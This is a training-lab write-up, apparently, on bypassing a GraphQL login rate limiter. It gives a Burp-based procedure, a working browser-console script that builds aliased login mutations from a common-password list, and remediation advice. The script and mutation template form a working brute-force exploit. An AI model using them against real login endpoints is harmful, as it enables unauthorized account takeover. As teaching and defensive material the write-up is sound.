SCENARIO

The application contains user login mechanism which is powered by a GraphQL API which has a rate limiter that returns an error if it receives too many requests from the same origin in a short space of time. We will try to exploit this vulnerability and get unauthorized access to an account.

**PROCEDURE**

1. Open the web application and send the request to login using some wrong credentials.
2. Send that request to BurpSuite’s Repeater and try sending some more requests and we see that the rate limiter bans our IP for 1 minute.
3. Now we need to craft an exploit to mount a brute force on that endpoint so, we will create a payload using a script Payload 1 by pasting it into the console of that page.
4. Send the request after pasting the output of Payload Script 1 into the Payload 2.
5. We see that all the queries returned false except one which returned true.
6. Now, check the brute force number of the response that returned true and check the corresponding password value of the target account to log in into his account.

PAYLOAD

1. copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(',').map((element,index)=>`

bruteforce$index:login(input:{password: "$password", username: "carlos"}) {

token

success

}

`.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard.");

1. mutation login($input: LoginInput!) {

login(input: $input) {

token

success

}

PASTE HERE

login(input: $input) {

token

success

}

}

PROOF OF CONCEPT

REMEDIATION

1. Implement Proper Rate Limiting: The rate limiting should not solely be based on the origin IP. Consider more robust methods that combine multiple identifiers (e.g., IP, User-Agent, JWT token, etc.) to make bypassing the rate limiter more difficult.
2. Account Lockout: Implement account lockout policies after a certain number of failed login attempts. This will prevent brute-force attacks on specific user accounts.
3. CAPTCHA: Consider integrating CAPTCHA after a certain number of failed login attempts. This can deter automated brute force attacks.
4. Use Secure Tokens: Use tokens like CSRF tokens to ensure requests are coming from legitimate sources. GraphQL mutations can use CSRF tokens to validate requests.
5. Obscure Error Messages: Do not provide verbose error messages that give away information about the application’s internal workings or that inform the attacker they have been rate-limited. Instead, use generic error messages.
6. Use Adaptive Rate Limiting: Implement an adaptive rate limiting strategy where the delay increases exponentially with each failed request.